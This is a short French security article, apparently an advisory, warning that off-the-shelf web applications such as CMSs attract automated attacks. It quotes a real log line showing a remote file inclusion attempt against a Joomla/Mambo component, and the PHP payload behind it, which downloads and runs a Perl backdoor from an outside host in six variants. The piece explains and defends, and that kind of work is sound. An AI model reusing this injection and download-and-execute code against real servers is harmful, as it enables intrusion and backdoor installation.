Historiquement utilisées par les particuliers, un grand nombre d'applications Web prêtes à l'emploi (CMS, Blog, Wiki, etc.) sont désormais mises en oeuvre par les entreprises pour fournir des outils de travail et de publication tant en interne que sur Internet. Ces outils présentent de nombreux avantages sur le plan fonctionnel : facilité de déploiement et d'administration, normalisation des contenus, développements communautaire d'extensions, etc. Cependant, la composante sécurité n'est souvent pas prise en compte à sa juste mesure.
En effet, une vulnérabilité touchant un outil partagé utilisé sur de très nombreux sites Web entraine souvent l'apparition de scripts de piratage, voir de vers, afin d'exploiter la faille de manière automatique sur un maximum de cibles. A contrario, les applications Web "maison" craignent plutôt les attaques ciblées où la motivation du pirate est liée à la nature du propriétaire du site, et non pas à l'existence d'une faille bien documentée.
Les attaques à l'aveugle sur les vulnérabilités souvent corrigées des produits PhpBB, PHP-Nuke, MediaWiki, Mambo, Joomla, Drupal et bien d'autres sont visibles quasi-quotidiennement dans les logs de tout serveur Web, comme dans cet exemple visant la vulnérabilité
Ref. Lexsi 7402 :
XXXX.log:84.0.XXX.XXX- - [27/Nov/2006:06:55:53 +0200]@@
"GET /administrator/components/com_comprofiler/plugin.class.php?
mosConfig_absolute_path=http://priv8.[removed].com.ar/i.txt? HTTP/1.1" 200 855 "-" "libwww-perl/5.805"
Le pirate cherche donc ici à faire exécuter le script PHP "i.txt", qui lance par la suite les commandes systèmes suivantes :
<?
passthru('cd /tmp;wget http://[removed].co.uk/jaja.txt;perl jaja.txt;rm -f jaja.txt*');
passthru('cd /tmp;curl -O http://[removed].co.uk/jaja.txt;perl jaja.txt;rm -f jaja.txt*');
passthru('cd /tmp;lwp-download http://[removed].co.uk/jaja.txt;perl jaja.txt.txt;rm -f jaja.txt*');
passthru('cd /tmp;lynx -source http://[removed].co.uk/jaja.txt >jaja.txt;perl jaja.txt;rm -f jaja.txt*');
passthru('cd /tmp;fetch http://[removed].co.uk/jaja.txt >jaja.txt;perl jaja.txt;rm -f jaja.txt*');
passthru('cd /tmp;GET http://[removed].co.uk/jaja.txt >jaja.txt;perl jaja.txt;rm -f jaja.txt*');
?>
... qui vont alors chercher un script Perl contenant toutes les instructions pour l'installation d'une backdoor !
Il est donc nécessaire, avant d'adopter un site Web prêt à l'emploi, de vérifier si les équipes de développements réagissent à l'existence de vulnérabilités (par exemple en publiant des bulletins de sécurité), et de savoir être averti au bon moment pour appliquer rapidement les correctifs nécessaires.